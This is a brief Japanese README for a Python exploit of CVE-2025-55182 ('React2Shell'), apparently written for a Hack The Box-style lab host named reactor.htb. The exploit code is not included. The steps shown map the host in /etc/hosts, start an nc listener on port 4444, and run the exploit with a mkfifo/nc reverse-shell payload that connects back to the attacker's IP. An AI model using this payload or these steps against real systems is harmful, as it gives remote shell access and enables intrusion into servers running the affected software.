React2Shell_Exploit CVE-2025-55182

シンプルなreact2shell CVE-2025-55182 Pythonエクスプロイトを作成しました。

使用方法

1. スクリプトを保存する：上記のコードを exploit.py として保存します。

2. ホストを更新する：/etc/hosts ファイルで reactor.htb が対象IPに解決されるようにします。 echo "<TARGET_IP> reactor.htb" | sudo tee -a /etc/hosts

3. リスナーを起動する：リバースシェルを受信するためのターミナルを開きます。 nc -lvnp 4444

4. エクスプロイトを実行する：リバースシェルペイロードを使用してスクリプトを実行します。 python3 exploit.py http://reactor.htb:3000 "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <YOUR_IP> 4444 >/tmp/f"

5. <YOUR_IP> を自身のtun0 IPアドレスに置き換えてください。